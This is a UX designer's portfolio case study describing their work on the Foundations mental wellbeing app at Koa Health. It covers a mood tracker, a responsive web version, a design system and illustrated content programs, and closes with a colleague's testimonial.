At the core of foundations are techniques from things like CBT, mindfulness, meditation and positive psychology curated by our team of behavioural experts.

At the time I joined Koa Health, Foundations was already a comprehensive product growing at quite a pace. I worked closely with UXR and psychologists we identified user needs such as a simple tool to track their mood, whilst it became more and more obvious that a mobile first app might not be reachable by thousands of potential users who don't have a powerful enough mobile, or simply don't have a mobile at all. That's one way to eat your words.
After settling in, working on said mood tracker, responsive web-app and design system, I had the opportunity to flex my story telling and illustration skills to build on our content with programs like anger management and Diversion, Equality and Intergation, whilst improving the content and design process.

"Users may lack self-awareness around their moods and emotions"
A tried and tested way to foster self awareness is with journaling, it's usually prescribed by therapists and you've probably seen someone on instagram talk about it, but it wasn't yet featured on the Foundations app. As a way of hitting various with one stone, it was an opportunity to incentivise users to return to the app even if they weren't following a program and increase retention scores.
I conducted competitor analysis, user interviews and diary studies. I brainstormed and sketched until I had too many ideas and which left me lost and a little confused. Was it a mood tracker? Was it a journal feature? Wsa it guided, or free? Users brought me back to my senses through a round of concept testing where I found clarity and direction. I finally wrapped up the project with a few rounds of design iterations, feedback sessions and prototype testing before handing it over to dev using story mapping.
The result was a mood tracker that would allow users input and retrieve entries and track over time. After 30 days engagement increased by 23% and users returned to use the app more consistently. 83% of users found it useful, and were able to identify some mood patterns.

The problem was obvious, there were people that couldn't download or access the app, and some people didn't even have a mobile. We were getting very loud... let's call them 'requests' from a large client too. Clearly though, it wasn't making 'mental wellbeing for everyone' ring true.
I led the design of the responsive version of the ENTIRE app, and design system and it needed to be done, like, yesterday. This wasn't my proudest moment as a designer, but with a client on our backs we had to cut a lot of corners, design was sacrificed for speed. I reviewed the entire design system and selected the necessary components that would need adjusting and refactoring, some content was removed and navigation was simplified.
After two months we managed to get an MVP live and ready to use. We saw a 5% adoption (not a terrible start), and we had bought some time with the client, but we new a lot of work was still to be done
At the core of Foundations are it's programs and activities, the things that teach you things, guide you or help you with your sleep. With my background in illustration, graphic design and comic I had the pleasure of collaborating with our content writer to teach our users how to manage anger, improve sleep and important topics like diversity, equality and integration.
I also took this opportunity to implement a clear content design process, and try improve the dialogue between the two teams. I did this by holding an whiteboard exercise to see what was going well, what should stop and what we should add, and built a template that helped write new content in a way that it is more streamlined for design. This aided in clearing the tension in the air, and helped the content be written in a way that saved time for both design and content.

After having worked almost 5 years in a 4-8 person studio, I learned, and fast, how to effectively collaborate in cross-functional teams, including User Research, PMs, and engineers, to drive product development and ensure alignment on goals and priorities. I gained experience leading design initiatives at larger scale, balancing creativity and strategic thinking. Although a nightmare, working on the responsive design system taught me the importance of scalability and consistency.
“Working with someone like Cat is rare. She's an incredibly experienced, talented and impressive designer who brings a fresh perspective to her teams and is curious about finding ways to streamline processes, work more efficiently and keep everybody informed. She's a master at balancing creativity with a deep respect for processes and timelines. People felt comfortable reaching out to her with questions because of her approachable nature.”
